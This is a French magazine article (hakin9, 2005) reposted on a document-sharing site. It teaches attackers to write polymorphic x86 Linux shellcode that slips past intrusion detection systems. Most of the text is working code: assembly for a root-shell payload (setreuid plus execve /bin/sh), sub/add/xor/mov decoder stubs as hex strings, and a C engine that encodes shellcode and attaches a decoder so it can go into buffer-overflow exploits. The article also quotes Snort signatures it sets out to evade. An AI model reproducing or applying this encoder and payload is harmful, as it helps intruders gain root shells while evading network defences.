creer-un-shellcode-polymorphique


creer-un-shellcode-polymorphique

 

Créer un shellcode polymorphique Micha? Piotrowski Article publié dans le numéro 6/2005 du magazine hakin9 Tout droits réservés. La copie et la diffusion d?article sont admises a condition de garder sa forme et son contenu actuels. Magazine hakin9, Software ? Wydawnictwo, ul. Piaskowa 3, 01-067 Varsovie, Pologne, frhakin9.org www.hakin9.org hakin9 Nº 6/2005 68 Programmation L orsque vous réalisez une attaque contre un service réseau, il y a toujours un risque que vous soyez repéré par un système de détection d'intrusions (en anglais Intrusion De- tection System ? IDS) et que malgré la réussite de l'attaque, l'administrateur vous identifie vite et qu'il vous déconnecte du réseau attaqué. C'est incontournable car la plupart des shellcodes ont une structure similaire, utilisent les mêmes ap- pels système et les instructions assembleur et il est donc facile de créer pour ces shellcodes des signatures universelles. La solution partielle à ce problème est la création de shellcode polymorphique qui n'aura pas les caractéristiques propres aux shellcodes typiques, mais qui réalisera en même temps les mêmes fonctionnalités. Cela peut paraître difficile à réaliser, mais si vous arrivez à maîtri- ser la structure du shellcode lui-même, cela ne vous posera aucun problème. Tout comme dans l'article Optimisation des shellcodes dans Linux publié dans hakin9 5/2005, votre point de départ sera la plateforme x86 de 32 bits, le système Linux avec le noyau de la série 2.4 (tous les exemples fonctionnent également dans les sys- tèmes dotés de noyau de la série 2.6) et les outils Netwide Assembler (nasm) et hexdump. Pour ne pas commencer dès le début, uti- lisez trois logiciels créés au préalable. Prenez comme exemple deux shellcodes write4.asm et shell4.asm. Leurs codes source sont présentés sur les Listings 1 et 2 et la méthode pour les con- vertir en code assembleur est démontrée sur les Figures 1 et 2. Pour tester vos shellcodes, utilisez le logiciel test.c présenté sur le Listing 3. Shellcode développé Votre objectif est d'écrire un code constitué des deux éléments suivants : la fonction de décodeur et le shellcode encodé. Après avoir lancé le code et après s'être retrouvé dans la mémoire tampon Créer un shellcode polymorphique Micha? Piotrowski Degré de difficulté Grâce à l'article publié dans le numéro précédent de hakin9, vous avez appris à créer et modifier le shellcode. Vous avez eu également l'occasion de connaître les problèmes de base liés à sa structure et les techniques permettant de les contourner. Grâce à cet article, vous allez apprendre ce qu'est le polymorphisme et comment écrire les shellcodes non identifiables par les systèmes IDS. Cet article explique... ? comment écrire un shellcode polymorphique, ? comment créer un programme donnant aux shellcodes les traits polymorphiques. Ce qu'il faut savoir... ? vous devez savoir utiliser le système Linux, ? vous devez connaître les règles de program- mation en C et en assembler. Shellcode polymorphique hakin9 Nº 6/2005 www.hakin9.org 69 dans un logiciel vulnérable, la fonction de décodeur décode tout d'abord le shellcode approprié, puis elle lui trans- fère la gestion. La structure du shell- code développé est présentée sur la Figure 3 et la Figure 4 représente les étapes données de son fonctionne- ment. Décodeur La tâche du décodeur est de décoder le shellcode. Il existe divers moyens permettant d'y parvenir mais quatre méthodes utilisant les instructions assembleur de base sont utilisées le plus souvent : ? la soustraction (l'instruction sub) ? les valeurs numériques don- nées sont soustraites des octets du shellcode encodé, ? l'ajout (instruction add) ? les valeurs numériquesdonnéessontajoutées aux octets donnés du shellcode, ? la différence symétrique (l'ins- truction xor) ? les octets donnés du shellcode sont soumis à l'opé- ration de différence symétrique avec une valeur définie, Polymorphisme Le mot polymorphisme vient du grec et signifie plusieurs formes. Ce terme a été employé en informatique pour la première fois par un pirate bulgare portant le pseudonyme Dark Avenger, ce dernier ayant créé en 1992 le premier virus polymor- phique. L'objectif du code polymorphique est d'éviter la détection tout en s'adaptant aux modèles, c'est-à-dire à certains traits caractéristiques permettant d'identifier un code donné. La technique de détection des modèles est utilisée dans les logiciels antivirus et dans les systèmes de détection des intrusions. L'encodage est un mécanisme le plus souvent utilisé pour intégrer le polymor- phisme dans le code des logiciels informatiques. Le code approprié, exécutant les fonctions principales du logiciel est encodé et une fonction de plus est ajoutée au logiciel, dont la seule tâche est d'encoder et de lancer le code original. Signatures Un élément clé pour tous les systèmes réseau de détection d'intrusions (en anglais Network Intrusion Detection System ? NIDS) est la base de signatures, à savoir un ensemble de caractéristiques pour une attaque donnée ou un type d'attaques. Le sys- tème NIDS intercepte tous les paquets envoyés à travers le réseau et il essaye de les comparer à une des signatures disponibles. Dès qu'il réussit, une alerte est déclenchée. Les systèmes plus avancés sont également capables de configurer le pare-feu de sorte qu'il n'autorise pas l'entrée du trafic venant de l'adresse IP appartenant à l'intrus. Ci-dessous, vous trouverez trois exemples de signatures pour le logiciel Snort permettant d'identifier la plupart des shellcodes typiques pour les systèmes Linux. La première d'entre elles détecte la fonction setuid (les octets B0 17 CD 80), la deuxième la chaîne de caractères /bin/sh et la troisième le piège NOP : alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 setuid 0"; content:"|B0 17 CD 80|"; reference:arachnids,436; classtype:system-call-detect; sid:650; rev:8;) alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE Linux shellcode"; content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;) alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 NOOP"; content:"aaaaaaaaaaaaaaaaaaaaa"; classtype:shellcode-detect; sid:1394; rev:5;) Il est beaucoup plus difficile aux systèmes IDS de noter la présence de code polymorphi- que que celle du shellcode typique, mais il ne faut pas oublier que le polymorphisme ne résout pas tous les problèmes. La plupart des systèmes contemporains de détection d'in- trusions utilisent, outre les signatures, des techniques plus ou moins avancées permettant de détecter également le shellcode encodé. Les plus connues parmi elles sont l'identifica- tion de la chaîne NOP, la détection des fonctions du décodeur et l'émulation du code. Listing 1. Fichier write4.asm 1: BITS 32 2: 3: ; write(1,"hello, world!",14) 4: push word 0x0a21 5: push 0x646c726f 6: push 0x77202c6f 7: push 0x6c6c6568 8: mov ecx, esp 9: push byte 4 10: pop eax 11: push byte 1 12: pop ebx 13: push byte 14 14: pop edx 15: int 0x80 16: 17: ; exit(0) 18: mov eax, ebx 19: xor ebx, ebx 20: int 0x80 Listing 2. Fichier shell4.asm 1: BITS 32 2: 3: ; setreuid(0, 0) 4: push byte 70 5: pop eax 6: xor ebx, ebx 7: xor ecx, ecx 8: int 0x80 9: 10: ; execve("/bin//sh", ["/bin//sh", NULL], NULL) 11: xor eax, eax 12: push eax 13: push 0x68732f2f 14: push 0x6e69622f 15: mov ebx, esp 16: push eax 17: push ebx 18: mov ecx, esp 19: cdq 20: mov al, 11 21: int 0x80 Listing 3. Fichier test.c char shellcode[]=""; main() { int (*shell)(); (int)shell = shellcode; shell(); } hakin9 Nº 6/2005 www.hakin9.org Programmation 70 ? le déplacement (l'instruction mov) ? les octets donnés du shellcode sont échangés les uns contre les autres. Le Listing 4 représente le code sour- ce du décodeur utilisant l'instruction de soustraction. Essayez d'examiner de près son fonctionnement. Com- mencez par la troisième ligne du code source et à l'endroit repéré comme three. Vous y trouverez l'ins- truction call transférant l'exécution du logiciel vers l'endroit one et met- tant en même temps sur la pile la valeur de l'adresse de l'instruction suivante. Grâce à cela, l'adresse de l'instruction four se trouvant après le code du décodeur sera mise sur la pile ? dans votre cas, ce sera le début du shellcode encodé. Dans la sixième ligne, enlevez cette adresse de la pile et mettez-la dans le registre ESI, réglez à zéro le registre ECX (ligne 7) et insérez-y (ligne 8) un nombre de 1 octet définis- sant la longueur du shellcode encodé. Pour l'instant, la valeur est 0 mais cela changera plus tard. Entre les lignes 10 et 14, il y a une boucle qui s'exécu- tera autant de fois que le nombre des octets se trouvant dans le shellcode encodé. Dans les itérations suivantes, le nombre mis dans le registre ECX sera diminué de 1 (l'instruction sub cl, 1 dans la ligne 12) et la boucle cessera de fonctionner lorsque cette valeur sera égale à zéro. L'instruction jnz two (Jump if Not Zero) sautera au début de la boucle repéré comme two jusqu'à ce que le résultat de soustrac- tion ne soit pas égal à zéro. Dans la ligne 11, il y a l'instruction proprement dite décodant le shellco- de ? elle soustrait le zéro des octets suivants du shellcode (en regardant en arrière). Bien sûr, la soustraction Figure 1. Shellcode write4 Figure 2. Shellcode shell4 Figure 3. Structure du code polymorphique Figure 4. Étapes de fonctionnement du code polymorphique Listing 4. Fichier decode_ sub.asm 1: BITS 32 2: 3: jmp short three 4: 5: one: 6: pop esi 7: xor ecx, ecx 8: mov cl, 0 9: 10: two: 11: sub byte [esi + ecx - 1], 0 12: sub cl, 1 13: jnz two 14: jmp short four 15: 16: three: 17: call one 18: 19: four: Figure 5. Compilation du décodeur decode_sub.asm Shellcode polymorphique hakin9 Nº 6/2005 www.hakin9.org 71 du zéro n'a pas de sens, mais vous vous en occuperez dans la partie suivante de l'article. Dès que tout le code retrouvera sa forme originale, le décodeur saute (ligne 14) au début du code, ce qui permet aux instruc- tions s'y trouvant de s'exécuter. La compilation du code décodeur se déroule de la même manière que la compilation du shellcode, ce qui est représenté sur la Figure 5. Comme vous pouvez le constater, il y a dans le code deux octets zéro correspondant aux zéros dans les lignes 8 et 11 du code source du pro- gramme decode_sub.asm. Vous les remplacerez par les valeurs correc- tes (non zéro) lorsque vous allez lier le décodeur au shellcode encodé. Encoder le shellcode Vous avez déjà la fonction de décoda- ge et il vous manque encore le shell- code encodé. Vous avez également les shellcodes? write4 et shell4. Il faut donc les convertir au format pouvant coopérer avec le décodeur. Il est possible de le faire manuellement en ajoutant à chaque octet du code une valeur choisie, mais une telle solution est peu efficace et manque de sou- plesse à l'usage . Au lieu de cela, uti- lisez un nouveau programme nommé encode1.c visible sur le Listing 5. À chaque octet de la variable de caractères shellcode, il ajoute la va- leur définie dans la variable offset. Dans ce cas, modifiez le shellcode write4 en incrémentant chaque octet de 1. La compilation du programme et le résultat obtenu sont présentés sur la Figure 6. Si vous comparez maintenant le shellcode original avec celui encodé, vous noterez qu'ils diffèrent de 1. En outre, le code que vous avez obtenu, résultant du fonc- tionnement du programme encode1, ne contient pas les octets zéro (0x00) ? et de même, il peut être inséré dans un programme vulnérable au débor- dement de la mémoire tampon. Lier le décodeur au code Vous avez maintenant le décodeur et le shellcode encodé. Il ne vous reste qu'à les assembler et à vérifier si tout fonctionne correctement. Insérez-le tout dans la variable shellcode du programme test.c (Listing 6) tout en remplaçant les deux octets zéro se trouvant dans le code décodeur par la valeur \x26 (la longueur du code encodé est de 38 octets ? 26 dans le système hexadécimal) et \x01 (pour obtenir un shellcode original, il faut diminuer de 1 la valeur de chaque oc- tet). Comme vous pouvez le voir sur la Listing 5. Fichier encode1.c #include <stdio.h> char shellcode[] = "\x66\x68\x21\x0a\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x68" "\x65\x6c\x6c\x89\xe1\x6a\x04\x58\x6a\x01\x5b\x6a\x0e\x5a\xcd\x80" "\x89\xd8\x31\xdb\xcd\x80"; int main() { char *encode; int shellcode_len, encode_len; int count, i, l = 16; int offset = 1; shellcode_len = strlen(shellcode); encode = (char *) malloc(shellcode_len); for (count = 0; count < shellcode_len; count++) encode[count] = shellcode[count] + offset; printf("Encoded shellcode (%d bytes long): ", strlen(encode)); printf("char shellcode[] = "); for (i = 0; i < strlen(encode); ++i) { if (l >= 16) { if (i) printf("\" "); printf("\t\""); l = 0; } ++l; printf("\\x%02x", ((unsigned char *)encode)[i]); } printf("\"; "); free(encode); return 0; } Figure 6. Compilation et fonctionnement du programme encode1.c Listing 6. Version modifiée du fichier test.c char shellcode[] = //decoder - decode_sub "\xeb\x11\x5e\x31\xc9\xb1\x26\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff" //encoded shellcode - write4 "\x67\x69\x22\x0b\x69\x70\x73\x6d\x65\x69\x70\x2d\x21\x78\x69\x69" "\x66\x6d\x6d\x8a\xe2\x6b\x05\x59\x6b\x02\x5c\x6b\x0f\x5b\xce\x81" "\x8a\xd9\x32\xdc\xce\x81"; main() { int (*shell)(); (int)shell = shellcode; shell(); } hakin9 Nº 6/2005 www.hakin9.org Programmation 72 Figure 7, votre nouveau shellcode po- lymorphique fonctionne bien ? le shell- code original est décodé et il affiche le message sur la sortie standard. Créer un moteur A présent, vous savez donner aux shellcodes les caractéristiques poly- morphiques et les masquer ainsi aux systèmes de détection d'intrusions. Essayez alors d'écrire un program- me simple permettant d'automatiser tout le processus ? à l'entrée, il acceptera le shellcode en version originale, il l'encodera et il ajoutera un décodeur adéquat. Commencez par créer les déco- deurs utilisant les instructions add, xor et mov. Nommez-les respectivement decode _ add, decode _ xor et decode _ mov. Comme les codes source des fonctions decode _ add et decode _ xor diffèrent de la fonction decode _ sub créée au préalable seulement par l'instruction disponible dans la ligne 11, vous n'allez pas les présenter dans leur totalité. Il suffit que la ligne 11 soit remplacée par add byte [esi + ecx - 1], 0 (pour decode _ add) ou par xor byte [esi + ecx - 1], 0 (pour decode _ xor). Le code source decode _ mov (voyez le Listing 7) est un peu différent et il utilise quatre instructions mov qui échangent les places de tous les deux octets voisins. Compilez les codes pour obtenir les programmes montrés sur la Figure 8. Transformez-les alors en variables de caractères et insérez dans le fichier source de votre moteur encodee.c (Listing 8). Fonctions d'encodage Il est temps maintenant de créer quatre fonctions qui chargeront le shellcode en version originale et qui l'encoderont. Nommez-les respecti- vement : encode _ sub, encode _ add, encode _ xor et encode _ mov. Les trois premières fonctions prennent comme arguments le pointeur vers le shellco- de que vous voulez encoder et la clé sous la forme de la valeur de dépla- Figure 7. Vérifier le fonctionnement du code polymorphique Listing 7. Fichier decode_ mov.asm 1: BITS 32 2: 3: jmp short three 4: 5: one: 6: pop esi 7: xor eax, eax 8: xor ebx, ebx 9: xor ecx, ecx 10: mov cl, 0 11: 12: two: 13: mov byte al, [esi + ecx - 1] 14: mov byte bl, [esi + ecx - 2] 15: mov byte [esi + ecx - 1], bl 16: mov byte [esi + ecx - 2], al 17: sub cl, 2 18: jnz two 19: jmp short four 20: 21: three: 22: call one 23: 24: four: Listing 8. Définition des décodeurs char decode_sub[] = "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff"; char decode_add[] = "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x44\x0e\xff\x00\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff"; char decode_xor[] = "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x74\x0e\xff\x00\x80\xe9\x01\x75" "\xf6\xeb\x05\xe8\xea\xff\xff\xff"; char decode_mov[] = "\xeb\x20\x5e\x31\xc0\x31\xdb\x31\xc9\xb1\x00\x8a\x44\x0e\xff\x8a" "\x5c\x0e\xfe\x88\x5c\x0e\xff\x88\x44\x0e\xfe\x80\xe9\x02\x75\xeb" "\xeb\x05\xe8\xdb\xff\xff\xff"; Figure 8. Décodeurs add, xor et mov Shellcode polymorphique hakin9 Nº 6/2005 www.hakin9.org 73 hakin9 Nº 6/2005 www.hakin9.org Programmation 74 cement et elles retournent un pointeur vers un code nouvellement créé. Si lors de l'encodage, un octet zéro ap- paraît dans le shellcode résultant, les fonctions cesseront de fonctionner et elles retourneront la valeur NULL. La fonction encode _ mov prenant seulement un argument (le shell- code) et changeant la place de tous les deux octets voisins se présente d'une autre manière. Pour éviter les erreurs liées à la modification du code à un nombre impair d'octets, la fonction vérifie la longueur du shell- code et si nécessaire, échange le dernier octet contre l'instruction NOP (0x90). Grâce à cela, la longueur du code sera toujours la multiplicité de 2. Toutes les quatre fonctions sont pré- sentées sur le Listing 9. Fonctions liant le décodeur au code encodé Pour lier le code décodeur au shell- code encodé, utilisez l'une de quatre fonctions disponibles. Ce sont : add _ sub _ decoder, add _ add _ decoder, add _ xor _ decoder et add _ mov _ decoder. Chacune d'entre elles mo- difie le décodeur dans une variable appropriée de sorte à remplacer les endroits zéro s'y trouvant par la lon- gueur du code encodé et la valeur de déplacement. Ensuite, elle lie le décodeur au code encodé chargé en tant qu'argument, puis elle retourne le pointeur vers le code polymorphique tout prêt. Le Listing 10 représente l'une de ces fonctions ? les autres font partie du fichier encodee.c disponible dans hakin9.live. Fonctions d'aide et la fonction principale Vous avez encore besoin de quel- ques fonctions d'aide permettant de faciliter l'utilisation du pro- gramme. La plus importante s'ap- pelle get _ shellcode, elle charge le shellcode original depuis un fichier défini comme argument. La deuxiè- me, print _ code, affiche le shellcode sous la forme formatée, prête à être insérée dans un exploit ou dans le programme test.c. Les deux der- nières fonctions s'appellent usage et getoffset ? la première affiche la mé- Listing 9. Fonctions d'encodage char *encode_sub(char *scode, int offset) { char *ecode = NULL; int scode_len = strlen(scode); int i; ecode = (char *) malloc(scode_len); for (i = 0; i < scode_len; i++) { ecode[i] = scode[i] + offset; if (ecode[i] == '\0') { free(ecode); ecode = NULL; break; } } return ecode; } char *encode_add(char *scode, int offset) { char *ecode = NULL; int scode_len = strlen(scode); int i; ecode = (char *) malloc(scode_len); for (i = 0; i < scode_len; i++) { ecode[i] = scode[i] - offset; if (ecode[i] == '\0') { free(ecode); ecode = NULL; break; } } return ecode; } char *encode_xor(char *scode, int offset) { char *ecode = NULL; int scode_len = strlen(scode); int i; ecode = (char *) malloc(scode_len); for (i = 0; i < scode_len; i++) { ecode[i] = scode[i] ^ offset; if (ecode[i] == '\0') { free(ecode); ecode = NULL; break; } } return ecode; } char *encode_mov(char *scode) { char *ecode = NULL; int scode_len = strlen(scode); int ecode_len = scode_len; int i; if ((i = scode_len % 2) > 0) ecode_len++; ecode = (char *) malloc(ecode_len); for (i = 0; i < scode_len; i += 2) { if (i + 1 == scode_len) ecode[i] = 0x90; else ecode[i] = scode[i + 1]; ecode[i + 1] = scode[i]; } return ecode; } Shellcode polymorphique hakin9 Nº 6/2005 www.hakin9.org 75 hakin9 Nº 6/2005 www.hakin9.org Programmation 76 thode de démarrage du programme et la seconde tire un nombre utilisé en tant que déplacement (si l'utili- sateur ne le définit pas). Le code de ces fonctions est présenté dans le fichier encodee.c disponible dans hakin9.live. Mettez ensemble tous les élé- ments du programme en utilisant la fonction main (voir le fichier encodee.c dans hakin9.live). Celle-ci est très simple ? tout d'abord, elle vérifie les paramètres avec lesquels le program- me a été démarré, puis elle charge le shellcode depuis un fichier indiqué, elle encode à l'aide de la fonction choisie, ajoute le décodeur et imprime le tout sur la sortie standard. Tester le programme Vérifiez maintenant si votre pro- gramme fonctionne correctement. Pour cela, créez un shellcode à base du code write4 encodé via l'instruc- tion add et le déplacement égal à 15 (Figure 9). Insérez-le ensuite dans le programme test et vérifiez son fonc- tionnement (Figure 10). Conclusion Vous connaissez maintenant les mé- thodes permettant de générer des shellcodes polymorphiques et vous avez réussi à écrire un programme automatisant tout le processus. Bien sûr, cela reste un programme très sim- ple qui n'utilise que quatre décodeurs les plus communs mais il peut être un point de référence pour vos propres études et expérimentations. l Listing 10. L'une des fonctions liant le décodeur au code encodé char *add_sub_decoder(char *ecode, int offset) { char *pcode = NULL; int ecode_len = strlen(ecode); int decode_sub_len; decode_sub[6] = ecode_len; decode_sub[11] = offset; decode_sub_len = strlen(decode_sub); pcode = (char *) malloc(decode_sub_len + ecode_len); memcpy(pcode, decode_sub, decode_sub_len); memcpy(pcode + decode_sub_len, ecode, ecode_len); return pcode; } Figure 9. Compiler le programme encodee et créer un shellcode exemplaire Figure 10. Tester le shellcode généré Sur Internet ? http://www.orkspace.net/software/libShellCode/index.php ? page d'accueil du projet libShellCode, ? http://www.ktwo.ca/security.html ? page d'accueil de l'auteur d'ADMmutate, ? http://www.phiral.com/ ? page d'accueil de l'auteur du programme dissembler. À propos de l'auteur Micha? Piotrowski est maître en infor- matique et administrateur expérimenté des réseaux et systèmes. Durant plus de trois ans, il a travaillé en tant qu'inspecteur de sécurité dans un éta- blissement responsable du bureau de certification supérieur dans l'infrastruc- ture polonaise PKI. Actuellement, il est un expert en sécurité téléinformatique dans l'une des plus grandes institutions financières en Pologne. Il passe son temps libre à programmer. Il s'occupe également de la cryptographie.

PARTAGER SUR

Envoyer le lien par email
667
READS
19
DOWN
0
FOLLOW
4
EMBED
DOCUMENT # TAGS
#shell  #shellcode  #polymorphisme 

CC BY-SA


DOCUMENT # INDEX
Technologies, Informatique 
img

Partagé par  securedocsangelina

 Suivre

Auteur:
Source:Non communiquée